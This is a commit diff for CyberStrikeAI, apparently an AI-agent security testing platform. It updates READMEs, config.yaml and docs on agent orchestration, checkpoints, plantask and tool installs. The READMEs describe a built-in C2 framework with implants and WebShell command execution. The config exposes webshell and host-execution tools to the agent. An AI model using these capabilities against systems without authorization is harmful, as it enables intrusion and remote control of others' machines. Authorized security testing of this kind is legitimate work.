Update config.yaml

README.md

@@ -29,7 +29,6 @@ If CyberStrikeAI helps you, you can support the project via **WeChat Pay** or **
 
 CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, comprehensive lifecycle management capabilities, and a **built-in lightweight C2 (Command & Control) framework** for **authorized** engagements (listeners, encrypted implants, sessions, tasks, real-time events, REST and MCP). Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
 
-
 ## Interface & Integration Preview
 
 <div align="center">
@@ -117,9 +116,9 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
 - 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
 - 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
 - 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
-- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
+- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). ADK **summarization** compresses long contexts; pre-compaction **transcripts** land at `data/conversation_artifacts/<conversation-id>/summarization/transcript.txt` (full user/assistant/tool turns; static system omitted). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
 - 🖼️ **Vision analysis (`analyze_image`)**: separate VL model (e.g. `qwen-vl-max`) via MCP for local screenshots, captchas, and UI; image bytes stay out of agent history (text summaries only). Configure `vision` in `config.yaml`; see [docs/VISION.md](docs/VISION.md)
-- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, plantask, reduction, checkpoints, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
+- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, **plantask** (`TaskCreate` / `TaskList` boards under `skills_dir/.eino/plantask/`), reduction, file **checkpoints** (`checkpoint_dir`), ChatModel **retries**, session **output key**, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
 - 📱 **Chatbot**: DingTalk and Lark (Feishu) long-lived connections so you can talk to CyberStrikeAI from mobile (see [Robot / Chatbot guide](docs/robot_en.md) for setup and commands)
 - 🧑‍⚖️ **Human-in-the-loop (HITL)**: Chat sidebar to set approval mode and tool allowlists (listed tools skip approval); global list in `config.yaml` under `hitl.tool_whitelist`; **Apply** can merge new tools into the file and update the running server without restart; dedicated **HITL** page for pending approvals
 - 🐚 **WebShell management**: Add and manage WebShell connections (e.g. IceSword/AntSword compatible), use a virtual terminal for command execution, a built-in file manager for file operations, and an AI assistant tab that orchestrates tests and keeps per-connection conversation history; supports PHP, ASP, ASPX, JSP and custom shell types with configurable request method and command parameter.
@@ -190,14 +189,21 @@ The `run.sh` script will automatically:
      ```
    - Or edit `config.yaml` directly before launching
 2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
-3. **Install security tools (optional)** - Install tools as needed:
+3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
+
+   **macOS (Homebrew):**
    ```bash
-   # macOS
-   brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass
-   # Ubuntu/Debian
-   sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster
+   brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
    ```
-   AI automatically falls back to alternatives when a tool is missing.
+
+   **Linux (Kali / Debian / Ubuntu):**
+   ```bash
+   sudo apt update
+   sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
+   # On some distros, install ffuf/nuclei/subfinder via go install or upstream docs
+   ```
+
+   See the `tools/` directory for the full list; refer to each tool's official docs for install details.
 
 **Alternative Launch Methods:**
 ```bash
@@ -260,7 +266,7 @@ Requirements / tips:
 - **Predefined roles** – System includes 12+ predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, Binary Analysis, Cloud Security Audit, etc.) in the `roles/` directory.
 - **Custom prompts** – Each role can define a `user_prompt` that prepends to user messages, guiding the AI to adopt specialized testing methodologies and focus areas.
 - **Tool restrictions** – Roles can specify a `tools` list to limit available tools, ensuring focused testing workflows (e.g., CTF role restricts to CTF-specific utilities).
-- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, reduction, checkpoints, etc.) apply per mode—see docs.
+- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, plantask, reduction, checkpoints, summarization transcripts, etc.) apply per mode—see docs.
 - **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, and `enabled` fields.
 - **Web UI integration** – Select roles from a dropdown in the chat interface. Role selection affects both AI behavior and available tool suggestions.
 
@@ -288,6 +294,7 @@ Requirements / tips:
   - **Sub-agents** (for **deep** / **supervisor**): other `*.md` files (YAML front matter + body). Not used as **`task`** targets if marked orchestrator-only.
 - **Management** – Web UI: **Agents → Agent management**; API `/api/multi-agent/markdown-agents`.
 - **Config** – `multi_agent` in `config.yaml`: `enabled`, `robot_default_agent_mode`, `batch_use_multi_agent`, `max_iteration`, `plan_execute_loop_max_iterations`, per-mode orchestrator instruction fields, optional YAML `sub_agents` merged with disk (`id` clash → Markdown wins), **`eino_skills`**, **`eino_middleware`** (optional ADK middleware and Deep/Supervisor tuning).
+- **Resilience & long runs** – `checkpoint_dir` enables ADK **resume** after process crashes (distinct from trace-based “interrupt & continue”). `deep_model_retry_max_retries` retries transient LLM API failures within a single call. **Summarization** writes a filtered **transcript** when compression fires; the summary message includes the path so the model can `read_file` for scan output and other pre-compaction details.
 - **Details** – **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)** (streaming, robots, batch, middleware caveats).
 
 ### Skills System (Agent Skills + Eino)
@@ -295,7 +302,7 @@ Requirements / tips:
 - **Runtime refactor** – **`skills_dir`** is the single root for packs. **Multi-agent** loads them through Eino’s official **`skill`** middleware (**progressive disclosure**: model calls `skill` with a pack **name** instead of receiving full SKILL text up front). Configure via **`multi_agent.eino_skills`**: `disable`, `filesystem_tools` (host read/glob/grep/write/edit/execute), `skill_tool_name`.
 - **Eino / RAG** – Packages are also split into `schema.Document` chunks for `FilesystemSkillsRetriever` (`skills.AsEinoRetriever()`) in **compose** graphs (e.g. knowledge/indexing pipelines).
 - **HTTP API** – `/api/skills` listing and `depth` (`summary` | `full`), `section`, and `resource_path` remain for the web UI and ops; **model-side** skill loading in multi-agent uses the **`skill`** tool, not MCP.
-- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, `plantask` (structured tasks; persistence defaults under a subdirectory of `skills_dir`), `reduction`, `checkpoint_dir`, Deep output key / model retries / task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
+- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, **`plantask`** (Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`; JSON under `skills_dir/.eino/plantask/<conversation-id>/`; Eino clears task files when **all** tasks are marked completed), `reduction`, **`checkpoint_dir`** (`data/eino-checkpoints/`), **`deep_model_retry_max_retries`**, **`deep_output_key`**, task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
 - **Shipped demo** – `skills/cyberstrike-eino-demo/`; see `skills/README.md`.
 
 **Creating a skill:**
@@ -305,7 +312,7 @@ Requirements / tips:
 ### Tool Orchestration & Extensions
 - **YAML recipes** in `tools/*.yaml` describe commands, arguments, prompts, and metadata.
 - **Directory hot-reload** – pointing `security.tools_dir` to a folder is usually enough; inline definitions in `config.yaml` remain supported for quick experiments.
-- **Large-result pagination** – outputs beyond 200 KB are stored as artifacts retrievable through the `query_execution_result` tool with paging, filters, and regex search.
+- **Large tool outputs** – outputs beyond `reduction_max_length_for_trunc` are summarized via Eino reduction with full content persisted under `tmp/reduction/`; use `read_file` on the path in `<persisted-output>`.
 - **Result compression** – multi-megabyte logs can be summarized or losslessly compressed before persisting to keep SQLite lean.
 
 **Creating a custom tool (typical flow)**
@@ -543,7 +550,7 @@ multi_agent:
   orchestrator_instruction: ""  # Deep; used when orchestrator.md body is empty
   # orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor optional
   # eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
-  # eino_middleware: optional patch_tool_calls, tool_search, plantask, reduction, checkpoint_dir, ...
+  # eino_middleware: plantask_enable, checkpoint_dir, deep_model_retry_max_retries, deep_output_key, ...
 ```
 
 ### Tool Definition Example (`tools/nmap.yaml`)

README_CN.md

@@ -28,7 +28,6 @@
 
 CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能、完整的测试生命周期管理能力，以及面向 **授权场景** 的 **内置轻量 C2（Command & Control，指挥与控制）** 能力（监听器、加密通信、会话与任务、实时事件、REST 与 MCP 协同）。通过原生 MCP 协议与 AI 智能体，支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化，为安全团队提供可审计、可追溯、可协作的专业测试环境。
 
-
 ## 界面与集成预览
 
 <div align="center">
@@ -116,9 +115,9 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集
 - 🛡️ 漏洞管理功能：完整的漏洞 CRUD 操作，支持严重程度分级、状态流转、按对话/严重程度/状态过滤，以及统计看板
 - 📋 批量任务管理：创建任务队列，批量添加任务，依次顺序执行，支持任务编辑与状态跟踪
 - 🎭 角色化测试：预设安全测试角色（渗透测试、CTF、Web 应用扫描等），支持自定义提示词和工具限制
-- 🧩 **Agent 编排（CloudWeGo Eino）**：**单代理** `POST /api/eino-agent/stream`（Eino ADK）；**多代理** `POST /api/multi-agent/stream`，`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
+- 🧩 **Agent 编排（CloudWeGo Eino）**：**单代理** `POST /api/eino-agent/stream`（Eino ADK）；**多代理** `POST /api/multi-agent/stream`，`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。ADK **Summarization** 在上下文过长时压缩历史；压缩前将可恢复 **转录** 写入 `data/conversation_artifacts/<会话ID>/summarization/transcript.txt`（保留完整 user/assistant/tool 轮次，省略静态 system）。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
 - 🖼️ **视觉分析（`analyze_image`）**：独立 Vision 模型（如 `qwen-vl-max`），MCP 工具分析本地截图/验证码/UI；图片仅在单次 VL 调用中出现，对话上下文只保留文字摘要。配置见 `config.yaml` → `vision` 与 [视觉分析说明](docs/VISION.md)
-- 🎯 **Skills（面向 Eino 重构）**：技能包放在 **`skills_dir`**，遵循 **Agent Skills** 目录规范（`SKILL.md` + 可选文件）；**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**（按 name 加载）。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖；**`eino_middleware`** 可选 patch、tool_search、plantask、reduction、断点目录及 Deep 调参。20+ 领域示例仍可绑定角色
+- 🎯 **Skills（面向 Eino 重构）**：技能包放在 **`skills_dir`**，遵循 **Agent Skills** 目录规范（`SKILL.md` + 可选文件）；**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**（按 name 加载）。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖；**`eino_middleware`** 可选 patch、tool_search、**plantask**（`TaskCreate` / `TaskList` 任务板，落在 `skills_dir/.eino/plantask/`）、reduction、文件型 **checkpoint**（`checkpoint_dir`）、ChatModel **重试**、会话 **输出键** 及 Deep 调参。20+ 领域示例仍可绑定角色
 - 📱 **机器人**：支持钉钉、飞书长连接，在手机端与 CyberStrikeAI 对话（配置与命令详见 [机器人使用说明](docs/robot.md)）
 - 🧑‍⚖️ **人机协同（HITL）**：对话页侧栏配置协同模式与免审批工具白名单；全局列表在 `config.yaml` 的 `hitl.tool_whitelist`；点「应用」可将新增工具合并写入配置文件且**无需重启**即可生效；导航 **人机协同** 页处理待审批工具调用
 - 🐚 **WebShell 管理**：添加与管理 WebShell 连接（兼容冰蝎/蚁剑等），通过虚拟终端执行命令、内置文件管理进行文件操作，并提供按连接维度保存历史的 AI 助手标签页；支持 PHP/ASP/ASPX/JSP 及自定义类型，可配置请求方法与命令参数。
@@ -189,14 +188,21 @@ chmod +x run.sh && ./run.sh
      ```
    - 或启动前直接编辑 `config.yaml` 文件
 2. **登录系统** - 使用控制台显示的自动生成密码（或在 `config.yaml` 中设置 `auth.password`）
-3. **安装安全工具（可选）** - 按需安装所需工具：
+3. **安装安全工具（可选）** - 按需安装 `tools/` 目录中的工具；未安装的工具在执行时会自动跳过或改用替代方案。常用示例：
+
+   **macOS（Homebrew）：**
    ```bash
-   # macOS
-   brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass
-   # Ubuntu/Debian
-   sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster
+   brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
    ```
-   未安装的工具会自动跳过或改用替代方案。
+
+   **Linux（Kali / Debian / Ubuntu）：**
+   ```bash
+   sudo apt update
+   sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
+   # 部分发行版需自行安装：ffuf、nuclei、subfinder 等可用 go install 或见各工具官网
+   ```
+
+   完整工具列表见 `tools/` 目录；各工具安装方式以官方文档为准。
 
 **其他启动方式：**
 ```bash
@@ -258,7 +264,7 @@ go build -o cyberstrike-ai cmd/server/main.go
 - **预设角色**：系统内置 12+ 个预设的安全测试角色（渗透测试、CTF、Web 应用扫描、API 安全测试、二进制分析、云安全审计等），位于 `roles/` 目录。
 - **自定义提示词**：每个角色可定义 `user_prompt`，会在用户消息前自动添加，引导 AI 采用特定的测试方法和关注重点。
 - **工具限制**：角色可指定 `tools` 列表，限制可用工具，实现聚焦的测试流程（如 CTF 角色限制为 CTF 专用工具）。
-- **Skills**：技能包位于 `skills_dir`；启用 **`multi_agent.eino_skills`** 后，**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。中间件与本机 read_file/glob/grep 等见文档。
+- **Skills**：技能包位于 `skills_dir`；启用 **`multi_agent.eino_skills`** 后，**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。可选 **`eino_middleware`**（tool_search、plantask、reduction、checkpoint、Summarization 转录等）与本机 read_file/glob/grep 等见文档。
 - **轻松创建角色**：通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`enabled` 字段。
 - **Web 界面集成**：在聊天界面通过下拉菜单选择角色。角色选择会影响 AI 行为和可用工具建议。
 
@@ -286,6 +292,7 @@ go build -o cyberstrike-ai cmd/server/main.go
   - **子代理**（**deep** / **supervisor**）：其余 `*.md`；标成 orchestrator 的不会进入 `task` 列表。
 - **界面管理**：**Agents → Agent 管理**；API `/api/multi-agent/markdown-agents`。
 - **配置项**：`multi_agent`：`enabled`、`robot_default_agent_mode`、`batch_use_multi_agent`、`max_iteration`、`plan_execute_loop_max_iterations`、各模式 orchestrator 指令字段、可选 YAML `sub_agents` 与目录合并（同 `id` → Markdown 优先）、**`eino_skills`**、**`eino_middleware`**。
+- **长任务与恢复**：`checkpoint_dir` 支持进程崩溃后 ADK **断点续跑**（与基于 trace 的「中断继续」不同）。`deep_model_retry_max_retries` 在同一次 LLM 调用内重试瞬时 API 失败。**Summarization** 触发压缩时会写入过滤后的 **transcript**，摘要消息中带路径，模型可用 `read_file` 找回扫描输出等压缩前细节。
 - **更多细节**：[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)（流式、机器人、批量、中间件差异）。
 
 ### Skills 技能系统（Agent Skills + Eino）
@@ -293,7 +300,7 @@ go build -o cyberstrike-ai cmd/server/main.go
 - **运行侧重构**：**`skills_dir`** 为技能包唯一根目录；**多代理** 通过 Eino 官方 **`skill`** 中间件做 **渐进式披露**（模型按 **name** 调用 `skill`，而非一次性注入全文）。由 **`multi_agent.eino_skills`** 控制：`disable`、`filesystem_tools`（本机读写与 Shell）、`skill_tool_name`。
 - **Eino / 知识流水线**：技能包可切分为 `schema.Document`，供 `FilesystemSkillsRetriever`（`skills.AsEinoRetriever()`）在 **compose** 图（如索引/编排）中使用。
 - **HTTP 管理**：`/api/skills` 列表与 `depth=summary|full`、`section`、`resource_path` 等仍用于 Web 与运维；**模型侧** 多代理走 **`skill`** 工具，而非 MCP。
-- **可选 `eino_middleware`**：如 `tool_search`（动态工具列表）、`patch_tool_calls`、`plantask`（结构化任务；默认落在 `skills_dir` 下子目录）、`reduction`、`checkpoint_dir`、Deep 输出键 / 模型重试 / task 描述前缀等，见 `config.yaml` 与 `internal/config/config.go`。
+- **可选 `eino_middleware`**：如 `tool_search`（动态工具列表）、`patch_tool_calls`、**`plantask`**（Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`；JSON 存于 `skills_dir/.eino/plantask/<会话ID>/`；**全部**任务标为 completed 后 Eino 会清理任务文件）、`reduction`、**`checkpoint_dir`**（如 `data/eino-checkpoints/`）、**`deep_model_retry_max_retries`**、**`deep_output_key`**、task 描述前缀等，见 `config.yaml` 与 `internal/config/config.go`。
 - **自带示例**：`skills/cyberstrike-eino-demo/`；说明见 `skills/README.md`。
 
 **新建技能：**
@@ -303,7 +310,7 @@ go build -o cyberstrike-ai cmd/server/main.go
 ### 工具编排与扩展
 - `tools/*.yaml` 定义命令、参数、提示词与元数据，可热加载。
 - `security.tools_dir` 指向目录即可批量启用；仍支持在主配置里内联定义。
-- **大结果分页**：超过 200KB 的输出会保存为附件，可通过 `query_execution_result` 工具分页、过滤、正则检索。
+- **大工具输出**：超过 `reduction_max_length_for_trunc` 时由 Eino reduction 摘要，完整内容落盘至 `tmp/reduction/`；按 `<persisted-output>` 中的路径用 `read_file` 读取。
 - **结果压缩/摘要**：多兆字节日志可先压缩或生成摘要再写入 SQLite，减小档案体积。
 
 **自定义工具的一般步骤**
@@ -541,7 +548,7 @@ multi_agent:
   orchestrator_instruction: ""  # Deep；orchestrator.md 正文为空时使用
   # orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor 可选
   # eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
-  # eino_middleware: 可选 patch_tool_calls、tool_search、plantask、reduction、checkpoint_dir 等
+  # eino_middleware: plantask_enable、checkpoint_dir、deep_model_retry_max_retries、deep_output_key 等
 ```
 
 ### 工具模版示例（`tools/nmap.yaml`）

cmd/mcp-stdio/main.go

@@ -5,7 +5,6 @@ import (
 	"cyberstrike-ai/internal/logger"
 	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/security"
-	"cyberstrike-ai/internal/storage"
 	"flag"
 	"fmt"
 	"os"
@@ -33,23 +32,6 @@ func main() {
 	// 创建安全工具执行器
 	executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
 
-	// 初始化结果存储（与 internal/app/app.go 同样的逻辑）。
-	// stdio 模式下原本不初始化，导致 'exec' 等查询型工具报"结果存储未初始化"。
-	resultStorageDir := "tmp"
-	if cfg.Agent.ResultStorageDir != "" {
-		resultStorageDir = cfg.Agent.ResultStorageDir
-	}
-	if err := os.MkdirAll(resultStorageDir, 0755); err != nil {
-		fmt.Fprintf(os.Stderr, "创建结果存储目录失败: %v\n", err)
-		os.Exit(1)
-	}
-	resultStorage, err := storage.NewFileResultStorage(resultStorageDir, log.Logger)
-	if err != nil {
-		fmt.Fprintf(os.Stderr, "初始化结果存储失败: %v\n", err)
-		os.Exit(1)
-	}
-	executor.SetResultStorage(resultStorage)
-
 	// 注册工具
 	executor.RegisterTools(mcpServer)
 
@@ -61,4 +43,3 @@ func main() {
 		os.Exit(1)
 	}
 }
-

config.yaml

@@ -10,7 +10,7 @@
 # ============================================
 
 # 前端显示的版本号（可选，不填则显示默认版本）
-version: "v1.6.30"
+version: "v1.6.39"
 # 服务器配置
 server:
   host: 0.0.0.0 # 监听地址，0.0.0.0 表示监听所有网络接口
@@ -79,7 +79,6 @@ vision:
   skip_preprocess_below_bytes: 2097152 # 低于 2MB 且长边<=max_dimension 且<=max_payload 时原图直传；0=始终压缩
   detail: auto # low | high | auto（Eino ImageURLDetail）
   timeout_seconds: 60
-  # allowed_roots: [] # 额外允许的绝对路径根目录
 # ============================================
 # 信息收集（FOFA）配置（可选）
 # ============================================
@@ -92,9 +91,7 @@ fofa:
 # Agent 配置
 # 达到最大迭代次数时，AI 会自动总结测试结果
 agent:
-  max_iterations: 12000 # 最大迭代次数，AI 代理最多执行多少轮工具调用
-  large_result_threshold: 102400 # 大结果阈值（字节），默认50KB，超过此大小会自动保存到存储
-  result_storage_dir: tmp # 结果存储目录，大结果会保存在此目录下
+  max_iterations: 12000 # 全局最大迭代次数（单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用；agents/*.md 中 max_iterations>0 可单独覆盖）
   tool_timeout_minutes: 60 # 单次工具执行最大时长（分钟），超时自动终止；0 表示不限制（不推荐，易出现长时间挂起）
   # system_prompt_path: prompts/single-agent.md # 可选：单代理系统提示文件（相对本配置文件所在目录）；非空且可读时替换内置提示
 
@@ -110,10 +107,8 @@ multi_agent:
   enabled: true
   robot_default_agent_mode: eino_single # 企微/钉钉/飞书机器人默认：eino_single | deep | plan_execute | supervisor
   batch_use_multi_agent: false # true 时「批量任务」队列中每个子任务也走 Eino 多代理（成本更高）
-  max_iteration: 0 # 主代理 / plan_execute 执行器最大轮次，0 表示沿用 agent.max_iterations
-  # plan_execute 专用：execute↔replan 外层循环上限，0 表示 Eino 默认 10。当前实现下 Executor 会挂载 patch/reduction/tool_search 等前置中间件。
+  # plan_execute 专用：execute↔replan 外层循环上限，0 表示 Eino 默认 10。主/子代理 ReAct 轮次见 agent.max_iterations。
   plan_execute_loop_max_iterations: 0
-  sub_agent_max_iterations: 120
   sub_agent_user_context_max_runes: 0 # 子代理 task 描述中自动注入用户原始请求的字符上限；0=默认2000，负数=禁用
   without_general_sub_agent: false # false 时保留 Deep 内置 general-purpose 子代理
   without_write_todos: false
@@ -132,8 +127,8 @@ multi_agent:
     tool_search_min_tools: 20 # 达到该数量才启用 tool_search（避免工具很少时多此一举）；与 always_visible 配合使用
     tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数（顺序与角色工具列表一致）；其余工具进入动态池，需 tool_search 解锁
     tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test] # 后端内置常驻工具白名单（优先于 always_visible 数量策略）
-    plantask_enable: false # true：主代理（Deep / Supervisor 主）挂载 TaskCreate/Get/Update/List；需 eino_skills 可用且 skills_dir 存在，否则仅打日志并跳过
-    plantask_rel_dir: .eino/plantask # 结构化任务文件相对 skills_dir 的子目录，其下再按会话 ID 分子目录存放
+    plantask_enable: true # P0：主代理挂载 TaskCreate/Get/Update/List 结构化任务板；需 eino_skills 可用且 skills_dir 存在
+    plantask_rel_dir: .eino/plantask # 任务文件相对 skills_dir，按会话分子目录：skills/.eino/plantask/<conversationId>/
     reduction_enable: true # true：大工具输出截断/落盘以控上下文；依赖与 plantask 相同的 eino local 写盘后端，无后端时不挂载
     reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数（bytes）时截断并落盘（由 reduction 中间件处理）
     reduction_max_tokens_for_clear: 160000 # 历史工具结果清理阈值（tokens），超阈值时在模型调用前清理旧结果
@@ -146,11 +141,11 @@ multi_agent:
     plan_execute_executed_steps_budget_ratio: 0.2 # plan_execute 中 executed_steps 预算比例
     plan_execute_max_step_result_runes: 4000 # plan_execute 每步结果最大字符数（超出截断）
     plan_execute_keep_last_steps: 8 # plan_execute 仅保留最近 N 步正文，早期步骤折叠为标题
-    checkpoint_dir: "" # 非空：为 adk.NewRunner 启用按会话子目录的文件型 CheckPointStore，便于中断恢复持久化；Resume 的 HTTP/前端流程需另行对接
-    run_retry_max_attempts: 0 # >0：429/5xx/网络抖动时 ADK 运行循环指数退避续跑次数；0=默认 10
+    checkpoint_dir: data/eino-checkpoints # P0：进程崩溃/OOM 后同会话自动 ADK Resume；正常结束会删 .ckpt；与「中断并继续」(last_react_*) 是两套机制
+    run_retry_max_attempts: 0 # 429/5xx/网络抖动时整轮 Run 指数退避续跑；0=默认 10（与 deep_model_retry 互补，建议保持默认）
     run_retry_max_backoff_sec: 0 # 单次退避上限秒数；0=默认 30
-    deep_output_key: "" # 非空：将最终助手输出写入 adk session 的键名（Deep 与 Supervisor 主代理）；空表示不写入
-    deep_model_retry_max_retries: 0 # >0：ChatModel 调用失败时的框架级最大重试次数（Deep 与 Supervisor 主）；0：不重试
+    deep_output_key: final_answer # P0：Eino session 写入最终助手结论（框架内部；Deep/Supervisor 主/eino_single）
+    deep_model_retry_max_retries: 3 # P0：单次 ChatModel API 失败时框架自动重试（超时/502 等）；子代理模型不受此项影响
     task_tool_description_prefix: "" # 非空：仅 Deep 的 task 工具使用自定义描述前缀，运行时会拼接子代理名称；空则走 Eino 默认生成逻辑
   # Eino callbacks + OpenTelemetry：框架级 span（与 Zap 对齐）；默认不向终端用户 UI 推 eino_trace_*（见 sse_trace_to_client）
   eino_callbacks:
@@ -295,7 +290,7 @@ skills_dir: skills # Skills配置文件目录（相对于配置文件所在目
 # ============================================
 # 多代理子 Agent（Markdown，唯一维护处）
 # ============================================
-# 每个 .md：YAML front matter（name / id / description / tools / bind_role / max_iterations / 可选 kind: orchestrator）+ 正文为系统提示词
+# 每个 .md：YAML front matter（name / id / description / tools / bind_role / 可选 max_iterations>0 覆盖全局 / 可选 kind: orchestrator）+ 正文为系统提示词
 # 主代理：固定文件名 orchestrator.md，或任意文件名 + front matter kind: orchestrator（全目录仅允许一个）；主代理不参与 task 子代理列表
 # 高级用法：仍可在 multi_agent 块内写 sub_agents，会与本文目录合并且同 id 时 YAML 可被 .md 覆盖
 agents_dir: agents
@@ -313,7 +308,7 @@ roles_dir: roles # 角色配置文件目录（相对于配置文件所在目录
 project:
   enabled: true
   # default_project_id: "" # 可选：机器人/批量任务创建对话时的默认项目 ID
-  fact_index_max_runes: 3500
-  fact_summary_max_runes: 240
+  fact_index_max_runes: 6500
+  fact_summary_max_runes: 2400
   default_inject_deprecated: false
   

docs/MULTI_AGENT_EINO.md

@@ -12,7 +12,7 @@
 | 项 | 说明 |
 |----|------|
 | 依赖与代理 | `go.mod` 直接依赖 `github.com/cloudwego/eino`、`eino-ext/.../openai`；`go.mod` 注释与 `scripts/bootstrap-go.sh` 指导 **GOPROXY**（如 `https://goproxy.cn,direct`）。 |
-| 配置 | `config.yaml` → `multi_agent`：`enabled`、`robot_use_multi_agent`、`max_iteration`、`sub_agents`（含可选 `bind_role`）、`eino_skills`、`eino_middleware` 等；结构体见 `internal/config/config.go`。 |
+| 配置 | `config.yaml` → `agent.max_iterations` 为全局 ReAct 上限（主/子代理统一）；`multi_agent`：`enabled`、`robot_use_multi_agent`、`sub_agents`（含可选 `bind_role`）、`eino_skills`、`eino_middleware` 等；结构体见 `internal/config/config.go`。 |
